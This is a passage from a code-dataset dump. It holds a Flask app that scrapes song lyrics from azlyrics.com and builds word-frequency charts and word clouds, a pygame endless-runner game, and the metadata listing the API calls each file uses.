"attribute"}, {"api_name": "utils.misc", "line_number": 259, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 260, "usage_type": "call"}, {"api_name": "os.path", "line_number": 260, "usage_type": "attribute"}, {"api_name": "imageio.imwrite", "line_number": 261, "usage_type": "call"}, {"api_name": "torch.sum", "line_number": 264, "usage_type": "call"}, {"api_name": "utils.misc.improc.back2color", "line_number": 265, "usage_type": "call"}, {"api_name": "utils.misc.improc", "line_number": 265, "usage_type": "attribute"}, {"api_name": "utils.misc", "line_number": 265, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 266, "usage_type": "call"}, {"api_name": "os.path", "line_number": 266, "usage_type": "attribute"}, {"api_name": "imageio.imwrite", "line_number": 267, "usage_type": "call"}, {"api_name": "torch.sum", "line_number": 269, "usage_type": "call"}, {"api_name": "utils.misc.improc.back2color", "line_number": 270, "usage_type": "call"}, {"api_name": "utils.misc.improc", "line_number": 270, "usage_type": "attribute"}, {"api_name": "utils.misc", "line_number": 270, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 271, "usage_type": "call"}, {"api_name": "os.path", "line_number": 271, "usage_type": "attribute"}, {"api_name": "imageio.imwrite", "line_number": 272, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 315, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 315, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 320, "usage_type": "call"}, {"api_name": "tensorboardX.SummaryWriter", "line_number": 321, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 321, "usage_type": "call"}, {"api_name": "os.path", "line_number": 321, "usage_type": "attribute"}, {"api_name": "nuscenesdataset.compile_data", "line_number": 340, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 356, "usage_type": "call"}, {"api_name": "os.path", "line_number": 356, "usage_type": "attribute"}, {"api_name": "nets.segnet.Segnet", "line_number": 360, "usage_type": "call"}, {"api_name": "torch.nn.DataParallel", "line_number": 362, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 362, "usage_type": "attribute"}, {"api_name": "saverloader.load", "line_number": 370, "usage_type": "call"}, {"api_name": "time.time", "line_number": 378, "usage_type": "call"}, {"api_name": "utils.misc.improc.Summ_writer", "line_number": 380, "usage_type": "call"}, {"api_name": "utils.misc.improc", "line_number": 380, "usage_type": "attribute"}, {"api_name": "utils.misc", "line_number": 380, "usage_type": "name"}, {"api_name": "time.time", "line_number": 393, "usage_type": "call"}, {"api_name": "time.time", "line_number": 394, "usage_type": "call"}, {"api_name": "time.time", "line_number": 399, "usage_type": "call"}, {"api_name": "fire.Fire", "line_number": 407, "usage_type": "call"}]}
{"seq_id": "74931840868", "text": "import requests\nimport io\nimport os\nfrom wordcloud import WordCloud\nfrom requests.packages.urllib3.util.retry import Retry\nfrom flask import Flask, redirect, url_for, render_template, request, Response\nfrom flask_session import Session\nfrom werkzeug.exceptions import default_exceptions, HTTPException, InternalServerError\nfrom helpers import apology, remove_punctuation\nfrom bs4 import BeautifulSoup\nfrom collections import Counter\n\n# Configure application\napp = Flask(__name__)\n\n# Ensure templates are auto-reloaded\napp.config[\"TEMPLATES_AUTO_RELOAD\"] = True\n\n# Ensure responses aren't cached\n@app.after_request\ndef after_request(response):\n    response.headers[\"Cache-Control\"] = \"no-cache, no-store, must-revalidate\"\n    response.headers[\"Expires\"] = 0\n    response.headers[\"Pragma\"] = \"no-cache\"\n    return response\n\nSession(app)\n\n#Website blocks connection when hosted on Heroku\n# Proxies not needed when running locally \nproxies = {\n\"http\": os.environ['QUOTAGUARDSTATIC_URL'],\n\"https\": os.environ['QUOTAGUARDSTATIC_URL']\n}\n\nrequest_handler = requests.Session()\n\n@app.route(\"/\", methods=[\"GET\", \"POST\"])\ndef index():\n    if request.method == \"POST\":\n        query = str(request.form.get(\"songlyrics\"))\n        return redirect(url_for('getlyrics', query = query))\n    else:\n        method = \"GET\"\n        return render_template(\"index.html\", method = method)\n\n@app.route(\"/getlyrics\", methods=[\"GET\"])\ndef getlyrics():\n\n    session = requests_retry(retries = 5, backoff_factor = 0.5)\n\n    # Query database for query\n    query = request.args.get('query', None)\n    if ' ' in query:\n            query = query.replace(' ', '+')\n            song_url = 'https://search.azlyrics.com/search.php?q=' + query\n    else:\n            song_url = 'https://search.azlyrics.com/search.php?q=' + query\n\n    #Mimic user headers, so website doesn't immediately reject connection\n    headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36'}\n    response = session.get(song_url, headers = headers)\n\n    soup = BeautifulSoup(response.content, 'html.parser')\n\n    #Element selection changes based on whether or not albums appear in search results\n    with_albums = soup.find_all('div', attrs= 'panel')\n    without_albums = soup.find_all('td', attrs = {'class' : 'text-left visitedlyr'})\n\n    #If album panel is also shown, select the song panel instead\n    if len(with_albums) > 2:\n        lyric_page = (with_albums[2].find('a').get('href'))\n    elif len(with_albums) > 1:\n        lyric_page = (with_albums[1].find('a').get('href'))\n    elif without_albums:\n        lyric_page = (without_albums[0].find('a').get('href'))\n    else:\n        print('Sorry, we could not find any results for that search. Please modify your search terms.' + '\\n')\n    \n    response2 = session.get(lyric_page, headers = headers, proxies = proxies)\n\n    #Grab the element from page that contains song lyrics\n    #Grab title for item that the search query returned\n    soup2 = BeautifulSoup(response2.content, 'html.parser')\n    lyric_list = []\n    lyrics = str(soup2.find('div', attrs = {'class':None, 'id':None}).get_text())\n    for line in lyrics.split(\"\\n\"):\n        lyric_list.append(line)\n    songmetadata = str(soup2.find('title').getText()).split(' -')\n    artist = songmetadata[0]\n    songtitle = songmetadata[1].split(\" |\")[0].replace(\" Lyrics\", \"\").strip()\n\n    word_count = Counter()\n\n    for line in lyric_list:\n        for word in line.split():\n            word = word.lower()\n            word = remove_punctuation(word)\n            word_count[word] += 1\n\n    words = word_count.most_common(12)\n\n    labels = []\n    values = []\n    for i in range(len(words)):\n        labels.append(words[i][0])\n        values.append(words[i][1])\n\n    wordcloud_text = ' '.join(map(str, lyric_list)).strip().lower()\n    for word in wordcloud_text.split():\n        word = remove_punctuation(word)\n\n    return render_template(\"query.html\", artist = artist, songtitle = songtitle, lyric_list = lyric_list, max=values[0], labels=labels, values=values, wordcloud_text = wordcloud_text)\n\n#Add listener to generate wordcloud image dynamically in memory\n#Does not work on Heroku due to ephemeral file system\n#ToDo: Integrate AWS S3 file system in order to save file\n@app.route('/image//plot.png')\ndef wordcloud(wordcloud_text):\n    wordcloud = WordCloud(stopwords = \" \", collocations = False).generate(wordcloud_text)\n    img = io.BytesIO()\n    wordcloud.to_image().save(img, 'PNG')\n    img.seek(0)\n    return Response(img.getvalue(), mimetype='image/png')\n\n#Added to prevent occasional connection refusal, and lessen request workload\ndef requests_retry(retries, backoff_factor):\n    session = requests.Session()\n    retry = Retry(connect=retries, backoff_factor=backoff_factor)\n    adapter = requests.adapters.HTTPAdapter(max_retries= retry)\n    session.mount('http://', adapter)\n    session.mount('https://', adapter)\n\n    return session\n\ndef errorhandler(e):\n    \"\"\"Handle error\"\"\"\n    if not isinstance(e, HTTPException):\n        e = InternalServerError()\n    return apology(e.name, e.code)\n\n# Listen for errors\nfor code in default_exceptions:\n    app.errorhandler(code)(errorhandler)\n\n", "repo_name": "edelosre/Song-Lyric-Web-App", "sub_path": "application.py", "file_name": "application.py", "file_ext": "py", "file_size_in_byte": 5239, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "flask.Flask", "line_number": 14, "usage_type": "call"}, {"api_name": "flask_session.Session", "line_number": 27, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 32, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 33, "usage_type": "attribute"}, {"api_name": "requests.Session", "line_number": 36, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 40, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 40, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 41, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 41, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 41, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 42, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 42, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 45, "usage_type": "call"}, {"api_name": "flask.request.args.get", "line_number": 53, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 53, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 53, "usage_type": "name"}, {"api_name": "bs4.BeautifulSoup", "line_number": 64, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 84, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 93, "usage_type": "call"}, {"api_name": "helpers.remove_punctuation", "line_number": 98, "usage_type": "call"}, {"api_name": "helpers.remove_punctuation", "line_number": 111, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 113, "usage_type": "call"}, {"api_name": "wordcloud.WordCloud", "line_number": 120, "usage_type": "call"}, {"api_name": "io.BytesIO", "line_number": 121, "usage_type": "call"}, {"api_name": "wordcloud.to_image", "line_number": 122, "usage_type": "call"}, {"api_name": "flask.Response", "line_number": 124, "usage_type": "call"}, {"api_name": "requests.Session", "line_number": 128, "usage_type": "call"}, {"api_name": "requests.packages.urllib3.util.retry.Retry", "line_number": 129, "usage_type": "call"}, {"api_name": "requests.adapters.HTTPAdapter", "line_number": 130, "usage_type": "call"}, {"api_name": "requests.adapters", "line_number": 130, "usage_type": "attribute"}, {"api_name": "werkzeug.exceptions.HTTPException", "line_number": 138, "usage_type": "argument"}, {"api_name": "werkzeug.exceptions.InternalServerError", "line_number": 139, "usage_type": "call"}, {"api_name": "helpers.apology", "line_number": 140, "usage_type": "call"}, {"api_name": "werkzeug.exceptions.default_exceptions", "line_number": 143, "usage_type": "name"}]}
{"seq_id": "5310478936", "text": "import pygame\r\nimport os\r\nimport sys\r\nfrom random import choice, randrange\r\n\r\npygame.init()\r\nsize = w, h = 1000, 420\r\npygame.display.set_caption('runner')\r\nscreen = pygame.display.set_mode(size)\r\n\r\nall_sprites = pygame.sprite.Group()\r\n\r\nrunner_group = pygame.sprite.Group()\r\nobstacles_group = pygame.sprite.Group()\r\nbackground_group = pygame.sprite.Group()\r\n\r\nplay_but = pygame.Surface([200, 50])\r\nplay_fon = pygame.Surface([800, 600])\r\nstop = pygame.Surface([400, 300])\r\nmonsters = ['wmonsterrun4.png', 'rmonsterrun4.png']\r\nrobots = ['wrobotrun3.png', 'grobotrun4.png']\r\ns = [700]\r\n\r\nWHITE = pygame.Color('white')\r\nBLACK = pygame.Color('black')\r\n\r\nFPS = 30\r\nclock = pygame.time.Clock()\r\n\r\ncolumns = 6\r\nrows = 1\r\n\r\nx, y = 100, 350\r\n\r\nscores = 0\r\ncnt_runner = 0\r\ncnt_monsters = 0\r\ncnt2 = 0\r\ncnt_sc = [0]\r\ncnt_rd = 0\r\nspeed = -15\r\ncnt_d = -1\r\nf = False\r\nf2 = False\r\nrun = True\r\n\r\n\r\ndef load_image(name, color_key=None):\r\n    fullname = os.path.join('data', name)\r\n    if not os.path.isfile(fullname):\r\n        print(f\"Файл с изображением '{fullname}' не найден\")\r\n        sys.exit()\r\n    image = pygame.image.load(fullname)\r\n    if color_key is not None:\r\n        image = image.convert()\r\n        if color_key == -1:\r\n            color_key = image.get_at((0, 0))\r\n        image.set_colorkey(color_key)\r\n    else:\r\n        image = image.convert_alpha()\r\n    return image\r\n\r\n\r\ndef terminate():\r\n    pygame.quit()\r\n    sys.exit()\r\n\r\n\r\ndef start_screen():\r\n    global f2\r\n    intro_text = [\"CUTIESCAPE\"]\r\n    hl_text = ['PLAY HARD LEVEL']\r\n    el_text = ['PLAY EASY LEVEL']\r\n    fon = pygame.transform.scale(load_image('background2.png'), (w, h))\r\n    screen.blit(fon, (0, 0))\r\n    font = pygame.font.Font(None, 50)\r\n    pb_font = pygame.font.Font(None, 30)\r\n    text_coord = 50\r\n\r\n    for line in intro_text:\r\n        string_rendered = font.render(line, True, pygame.Color('black'))\r\n        intro_rect = string_rendered.get_rect()\r\n        text_coord += 100\r\n        intro_rect.top = text_coord\r\n        intro_rect.x = 100\r\n        text_coord += intro_rect.height\r\n        screen.blit(string_rendered, intro_rect)\r\n\r\n    for line in hl_text:\r\n        play_but.fill(pygame.Color('#2E8B57'))\r\n        but_x2 = 100\r\n        but_y2 = 300\r\n        screen.blit(play_but, (but_x2, but_y2))\r\n        string_rendered = pb_font.render(line, True, pygame.Color('black'))\r\n        intro_rect = string_rendered.get_rect()\r\n        text_coord += 135\r\n        intro_rect.top = text_coord\r\n        intro_rect.x = 110\r\n        text_coord += intro_rect.height\r\n        screen.blit(string_rendered, intro_rect)\r\n\r\n    for line in el_text:\r\n        play_but.fill(pygame.Color('#2E8B57'))\r\n        but_x = 100\r\n        but_y = 200\r\n        screen.blit(play_but, (but_x, but_y))\r\n        string_rendered = pb_font.render(line, True, pygame.Color('black'))\r\n        intro_rect = string_rendered.get_rect()\r\n        text_coord += -125\r\n        intro_rect.top = text_coord\r\n        intro_rect.x = 110\r\n        text_coord += intro_rect.height\r\n        screen.blit(string_rendered, intro_rect)\r\n\r\n    while True:\r\n        but_x = 100\r\n        but_y = 200\r\n        but_x2 = 100\r\n        but_y2 = 300\r\n        keys_pressed = pygame.key.get_pressed()\r\n        if keys_pressed[pygame.K_RETURN]:\r\n            return\r\n        for event in pygame.event.get():\r\n\r\n            if event.type == pygame.QUIT:\r\n                terminate()\r\n\r\n            elif event.type == pygame.MOUSEBUTTONDOWN:\r\n                pos = event.pos\r\n\r\n                if but_x < pos[0] < but_x + 200 and but_y < pos[1] < but_y + 50:\r\n                    f2 = True\r\n                    return\r\n\r\n                elif but_x2 < pos[0] < but_x2 + 200 and but_y2 < pos[1] < but_y2 + 50:\r\n                    f2 = False\r\n                    return\r\n\r\n        pygame.display.flip()\r\n        clock.tick(FPS)\r\n\r\n\r\ndef text(message, x, y, font_type=None, font_size=30):\r\n    global f2\r\n    if f2:\r\n        col = pygame.Color('black')\r\n    else:\r\n        col = pygame.Color('#2E8B57')\r\n    font_type = pygame.font.Font(font_type, font_size)\r\n    t = font_type.render(message, True, col)\r\n    screen.blit(t, (x, y))\r\n\r\n\r\nstart_screen()\r\n\r\n\r\nclass Background(pygame.sprite.Sprite):\r\n\r\n    def __init__(self):\r\n        super().__init__(all_sprites, background_group)\r\n        if f2:\r\n\r\n            self.image = pygame.transform.scale(load_image('background1.png'), (w, h))\r\n            self.rect = self.image.get_rect()\r\n            self.rect.bottom = h\r\n        else:\r\n            self.image = pygame.transform.scale(load_image('background2.png'), (w, h))\r\n            self.rect = self.image.get_rect()\r\n            self.rect.bottom = h\r\n\r\n\r\ndef stopped(lt):\r\n    font = pygame.font.Font(None, 50)\r\n    text_coord = 100\r\n    n = 100\r\n    for line in lt:\r\n        string_rendered = font.render(line, True, pygame.Color('white'))\r\n        intro_rect = string_rendered.get_rect()\r\n        intro_rect.top = text_coord\r\n        n += 20\r\n        intro_rect.x += n\r\n        screen.blit(string_rendered, intro_rect)\r\n\r\n\r\ndef withdrawal_of_records():\r\n    file = open('results.txt', 'w', encoding='utf8')\r\n    file.write(f'record: {max(cnt_sc)}')\r\n    file.close()\r\n\r\n\r\nclass White(pygame.sprite.Sprite):\r\n    def __init__(self):\r\n        super().__init__(obstacles_group, all_sprites)\r\n        self.frames = []\r\n        self.columns = 4\r\n        self.rows = 1\r\n        self.sheet = pygame.transform.scale(\r\n            pygame.transform.flip(load_image(choice(monsters)), True, False),\r\n            (400, 120))\r\n        self.cut_sheet(self.sheet, self.columns, self.rows)\r\n        self.cur_frame = 0\r\n        self.image = self.frames[self.cur_frame]\r\n        self.mask = pygame.mask.from_surface(self.image)\r\n        self.rect = self.rect.move(1000, y)\r\n        self.cnt = cnt_monsters\r\n        self.cnt_rd = cnt_rd\r\n        self.speed = speed\r\n\r\n    def cut_sheet(self, sheet, columns, rows):\r\n        self.rect = pygame.Rect(0, -50, sheet.get_width() // columns,\r\n                                sheet.get_height())\r\n        for j in range(rows):\r\n            for i in range(columns):\r\n                frame_location = (self.rect.w * i, self.rect.h * j)\r\n                self.frames.append(sheet.subsurface(pygame.Rect(\r\n                    frame_location, self.rect.size)))\r\n\r\n    def update(self, *args):\r\n        if self.cnt % 4 == 0:\r\n            self.cur_frame = (self.cur_frame + 1) % len(self.frames)\r\n            self.image = self.frames[self.cur_frame]\r\n            self.mask = pygame.mask.from_surface(self.image)\r\n        if f2:\r\n            self.speed = -15\r\n        else:\r\n            self.speed = -25\r\n        self.rect = self.rect.move(speed, 0)\r\n        if self.rect.x < -300:\r\n            self.rect.x = randrange(1000, 1200)\r\n            self.sheet = pygame.transform.scale(\r\n                pygame.transform.flip(load_image(choice(monsters)), True, False),\r\n                (120, 120))\r\n        self.cnt += 1\r\n\r\n\r\nclass WhiteRobot(pygame.sprite.Sprite):\r\n    def __init__(self):\r\n        super().__init__(obstacles_group, all_sprites)\r\n        self.frames = []\r\n        self.columns = 3\r\n        self.rows = 1\r\n        self.sheet = pygame.transform.scale(\r\n            pygame.transform.flip(load_image('wrobotrun3.png'), True, False),\r\n            (400, 120))\r\n        self.columns = 3\r\n        self.cut_sheet(self.sheet, self.columns, self.rows)\r\n        self.cur_frame = 0\r\n        self.image = self.frames[self.cur_frame]\r\n        self.mask = pygame.mask.from_surface(self.image)\r\n        self.rect = self.rect.move(1500, y)\r\n        self.cnt = cnt_monsters\r\n        self.speed = speed\r\n\r\n    def cut_sheet(self, sheet, columns, rows):\r\n        self.rect = pygame.Rect(0, -50, sheet.get_width() // columns,\r\n                                sheet.get_height())\r\n        for j in range(rows):\r\n            for i in range(columns):\r\n                frame_location = (self.rect.w * i, self.rect.h * j)\r\n                self.frames.append(sheet.subsurface(pygame.Rect(\r\n                    frame_location, self.rect.size)))\r\n\r\n    def update(self, *args):\r\n        if self.cnt % 4 == 0:\r\n            self.cur_frame = (self.cur_frame + 1) % len(self.frames)\r\n            self.image = self.frames[self.cur_frame]\r\n            self.mask = pygame.mask.from_surface(self.image)\r\n        if f2:\r\n            self.speed = -15\r\n        else:\r\n            self.speed = -25\r\n        self.rect = self.rect.move(speed, 0)\r\n        if self.rect.x < -300:\r\n            self.rect.x = randrange(2000, 2800)\r\n        self.cnt += 1\r\n\r\n\r\nclass GreenRobot(pygame.sprite.Sprite):\r\n    def __init__(self):\r\n        super().__init__(obstacles_group, all_sprites)\r\n        self.frames = []\r\n        self.columns = 3\r\n        self.rows = 1\r\n\r\n        self.sheet = pygame.transform.scale(\r\n            pygame.transform.flip(load_image('grobotrun4.png'), True, False),\r\n            (400, 120))\r\n        self.columns = 4\r\n\r\n        self.cut_sheet(self.sheet, self.columns, self.rows)\r\n        self.cur_frame = 0\r\n        self.image = self.frames[self.cur_frame]\r\n        self.mask = pygame.mask.from_surface(self.image)\r\n        self.rect = self.rect.move(1800, y)\r\n        self.cnt = cnt_monsters\r\n        self.speed = speed\r\n\r\n    def cut_sheet(self, sheet, columns, rows):\r\n        self.rect = pygame.Rect(0, -50, sheet.get_width() // columns,\r\n                                sheet.get_height())\r\n        for j in range(rows):\r\n            for i in range(columns):\r\n                frame_location = (self.rect.w * i, self.rect.h * j)\r\n                self.frames.append(sheet.subsurface(pygame.Rect(\r\n                    frame_location, self.rect.size)))\r\n\r\n    def update(self, *args):\r\n        if self.cnt % 4 == 0:\r\n            self.cur_frame = (self.cur_frame + 1) % len(self.frames)\r\n            self.image = self.frames[self.cur_frame]\r\n            self.mask = pygame.mask.from_surface(self.image)\r\n        if f2:\r\n            self.speed = -15\r\n        else:\r\n            self.speed = -25\r\n        self.rect = self.rect.move(speed, 0)\r\n        if self.rect.x < -300:\r\n            self.rect.x = randrange(3100, 3300)\r\n        self.cnt += 1\r\n\r\n\r\nm_white = White()\r\nrobot = WhiteRobot()\r\nrobot2 = GreenRobot()\r\n\r\n\r\nclass Runner(pygame.sprite.Sprite):\r\n    def __init__(self):\r\n        super().__init__(runner_group, all_sprites)\r\n        self.isJump = False\r\n        self.jumpCount = 10\r\n        sheet = pygame.transform.scale(load_image('omrun_6.png'), (500, 100))\r\n        columns = 6\r\n        self.frames = []\r\n        self.cut_sheet(sheet, columns)\r\n        self.cur_frame = 0\r\n        self.image = self.frames[self.cur_frame]\r\n        self.rect = self.rect.move(x, y)\r\n        self.rect.midbottom = (250, h)\r\n        self.cnt = cnt_runner\r\n        self.col = False\r\n        self.mask = pygame.mask.from_surface(self.image)\r\n        self.cnt_rd = cnt_rd\r\n        self.cnt_d = cnt_d\r\n\r\n    def cut_sheet(self, sheet, columns):\r\n        self.rect = pygame.Rect(0, 0, sheet.get_width() // columns,\r\n                                sheet.get_height())\r\n        for j in range(rows):\r\n            for i in range(columns):\r\n                frame_location = (self.rect.w * i, self.rect.h * j)\r\n                self.frames.append(sheet.subsurface(pygame.Rect(\r\n                    frame_location, self.rect.size)))\r\n\r\n    def update(self, *args) -> None:\r\n        global cnt2, f, run\r\n        if self.cnt % 2 == 0 and self.isJump is False:\r\n            self.cur_frame = (self.cur_frame + 1) % len(self.frames)\r\n            self.image = self.frames[self.cur_frame]\r\n            self.mask = pygame.mask.from_surface(self.image)\r\n        keys_pressed = pygame.key.get_pressed()\r\n        if keys_pressed[pygame.K_SPACE]:\r\n            self.isJump = True\r\n        if self.isJump is True:\r\n            if self.jumpCount >= -10:\r\n                if self.jumpCount < 0:\r\n                    self.rect.y += (self.jumpCount ** 2) // 2\r\n                else:\r\n                    self.rect.y -= (self.jumpCount ** 2) // 2\r\n                self.jumpCount -= 1\r\n            else:\r\n                self.isJump = False\r\n                self.jumpCount = 10\r\n        self.cnt += 1\r\n        collided = pygame.sprite.spritecollideany(self, obstacles_group)\r\n        if collided:\r\n            for elem in obstacles_group:\r\n                elem.speed = 0\r\n            if pygame.sprite.collide_mask(self, collided):\r\n                if f2:\r\n\r\n                    collided.rect.x += 15\r\n                else:\r\n                    collided.rect.x += 30\r\n                f = True\r\n\r\n\r\ndef final_screen():\r\n    global scores, run, f, f2, cnt2\r\n    intro_text = [\"GAME OVER\"]\r\n    hl_text = ['PLAY AGAIN']\r\n    el_text = ['OUTPUT RECORD']\r\n    pb_font = pygame.font.Font(None, 30)\r\n    if f2:\r\n        fon = pygame.transform.scale(load_image('background1.png'), (w, h))\r\n    else:\r\n        fon = pygame.transform.scale(load_image('background2.png'), (w, h))\r\n    screen.blit(fon, (0, 0))\r\n    font = pygame.font.Font(None, 50)\r\n    text_coord = 50\r\n\r\n    for line in intro_text:\r\n        if f2:\r\n            col = pygame.Color('#2E8B57')\r\n        else:\r\n            col = pygame.Color('black')\r\n        string_rendered = font.render(line, True, col)\r\n        intro_rect = string_rendered.get_rect()\r\n        text_coord += 0\r\n        intro_rect.top = text_coord\r\n        intro_rect.x = 130\r\n        text_coord += intro_rect.height\r\n        screen.blit(string_rendered, intro_rect)\r\n        font = pygame.font.Font(None, 50)\r\n        text_coord = 50\r\n        cnt_sc.append(int(scores))\r\n        text(\r\n            f'PRESS ENTER TO PLAY AGAIN, record: {str(max(cnt_sc))}, TO DISPLAY THE RESULTS IN A TXT FILE, PRESS 1',\r\n            50, 100)\r\n\r\n        for line in hl_text:\r\n            play_but.fill(pygame.Color('#2E8B57'))\r\n            but_x2 = 100\r\n            but_y2 = 300\r\n            screen.blit(play_but, (but_x2, but_y2))\r\n            string_rendered = pb_font.render(line, True, pygame.Color('black'))\r\n            intro_rect = string_rendered.get_rect()\r\n            text_coord += 265\r\n            intro_rect.top = text_coord\r\n            intro_rect.x = 110\r\n            text_coord += intro_rect.height\r\n            screen.blit(string_rendered, intro_rect)\r\n\r\n        for line in el_text:\r\n            play_but.fill(pygame.Color('#2E8B57'))\r\n            but_x = 100\r\n            but_y = 200\r\n            screen.blit(play_but, (but_x, but_y))\r\n            string_rendered = pb_font.render(line, True, pygame.Color('black'))\r\n            intro_rect = string_rendered.get_rect()\r\n            text_coord += -125\r\n            intro_rect.top = text_coord\r\n            intro_rect.x = 110\r\n            text_coord += intro_rect.height\r\n            screen.blit(string_rendered, intro_rect)\r\n\r\n        for event in pygame.event.get():\r\n            but_x = 100\r\n            but_y = 200\r\n            but_x2 = 100\r\n            but_y2 = 300\r\n            keys_pressed = pygame.key.get_pressed()\r\n            if event.type == pygame.QUIT:\r\n                run = False\r\n                f = False\r\n\r\n            if keys_pressed[pygame.K_ESCAPE]:\r\n                run = False\r\n                f = False\r\n\r\n            if keys_pressed[pygame.K_RETURN]:\r\n                m_white.rect.x += randrange(1100, 1300)\r\n                robot.rect.x += randrange(1500, 1700)\r\n                robot2.rect.x += randrange(1800, 1900)\r\n                f = False\r\n\r\n            if keys_pressed[pygame.K_1]:\r\n                withdrawal_of_records()\r\n\r\n            if event.type == pygame.MOUSEBUTTONDOWN:\r\n                pos = event.pos\r\n                if but_x2 < pos[0] < but_x2 + 200 and but_y2 < pos[1] < but_y2 + 50:\r\n                    m_white.rect.x += randrange(1100, 1300)\r\n                    robot.rect.x += randrange(1500, 1700)\r\n                    robot2.rect.x += randrange(1800, 1900)\r\n                    f = False\r\n                if but_x < pos[0] < but_x + 200 and but_y < pos[1] < but_y + 50:\r\n                    withdrawal_of_records()\r\n\r\n        cnt2, scores = 0, 0\r\n        pygame.display.flip()\r\n\r\n\r\nbackground = Background()\r\nrunner = Runner()\r\n\r\nwhile run:\r\n\r\n    screen.fill(BLACK)\r\n    cnt2 += 1\r\n    clock.tick(FPS)\r\n\r\n    for event in pygame.event.get():\r\n        keys = pygame.key.get_pressed()\r\n\r\n        if event.type == pygame.QUIT:\r\n            run = False\r\n\r\n        if event.type == pygame.KEYDOWN:\r\n            runner.update(event.key)\r\n\r\n        if keys[pygame.K_2]:\r\n            paused = True\r\n\r\n            while paused:\r\n                for event in pygame.event.get():\r\n                    if event.type == pygame.QUIT:\r\n                        terminate()\r\n\r\n                    keys = pygame.key.get_pressed()\r\n                    if keys[pygame.K_RETURN]:\r\n                        paused = False\r\n\r\n                text('PRESS ENTER TO  CONTINUE THE GAME', 100, 100)\r\n            pygame.display.flip()\r\n\r\n    runner.update()\r\n    m_white.update()\r\n    robot.update()\r\n    robot2.update()\r\n    all_sprites.draw(screen)\r\n    scores = cnt2 // 10\r\n    text('scores: ' + str(scores), 800, 30)\r\n    obstacles_group.draw(screen)\r\n\r\n    while f:\r\n        final_screen()\r\n\r\n    pygame.display.flip()\r\npygame.quit()\r\nquit()\r\n", "repo_name": "rwerrx/CUTESCAPE", "sub_path": "cutescape.py", "file_name": "cutescape.py", "file_ext": "py", "file_size_in_byte": 17243, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pygame.init", "line_number": 6, "usage_type": "call"}, {"api_name": "pygame.display.set_caption", "line_number": 8, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 8, "usage_type": "attribute"}, {"api_name": "pygame.display.set_mode", "line_number": 9, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 9, "usage_type": "attribute"}, {"api_name": "pygame.sprite.Group", "line_number": 11, "usage_type": "call"}, {"api_name": "pygame.sprite", "line_number": 11, "usage_type": "attribute"}, {"api_name": "pygame.sprite.Group", "line_number": 13, "usage_type": "call"}, {"api_name": "pygame.sprite", "line_number": 13, "usage_type": "attribute"}, {"api_name": "pygame.sprite.Group", "line_number": 14, "usage_type": "call"}, {"api_name": "pygame.sprite", "line_number": 14, "usage_type": "attribute"}, {"api_name": "pygame.sprite.Group", "line_number": 15, "usage_type": "call"}, {"api_name": "pygame.sprite", "line_number": 15, "usage_type": "attribute"}, {"api_name": "pygame.Surface", "line_number": 17, "usage_type": "call"}, {"api_name": "pygame.Surface", "line_number": 18, "usage_type": "call"}, {"api_name": "pygame.Surface", "line_number": 19, "usage_type": "call"}, {"api_name": "pygame.Color", "line_number": 24, "usage_type": "call"}, {"api_name": "pygame.Color", "line_number": 25, "usage_type": "call"}, {"api_name": "pygame.time.Clock", "line_number": 28, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 28, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 49, "usage_type": "call"}, {"api_name": "os.path", "line_number": 49, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 50, "usage_type": "call"}, {"api_name": "os.path", "line_number": 50, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 52, "usage_type": "call"}, {"api_name": "pygame.image.load", "line_number": 53, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 53, "usage_type": "attribute"}, {"api_name": "pygame.quit", "line_number": 65, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 66, "usage_type": "call"}, {"api_name": "pygame.transform.scale", "line_number": 74, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 74, "usage_type": "attribute"}, {"api_name": "pygame.font.Font", "line_number": 76, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 76, "usage_type": "attribute"}, {"api_name": "pygame.font.Font", "line_number": 77, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 77, "usage_type": "attribute"}, {"api_name": "pygame.Color", "line_number": 81, "usage_type": "call"}, {"api_name": "pygame.Color", "line_number": 90, "usage_type": "call"}, {"api_name": "pygame.Color", "line_number": 94, "usage_type": "call"}, {"api_name": "pygame.Color", "line_number": 103, "usage_type": "call"}, {"api_name": "pygame.Color", "line_number": 107, "usage_type": "call"}, {"api_name": "pygame.key.get_pressed", "line_number": 120, "usage_type": "call"}, {"api_name": "pygame.key", "line_number": 120, "usage_type": "attribute"}, {"api_name": "pygame.K_RETURN", "line_number": 121, 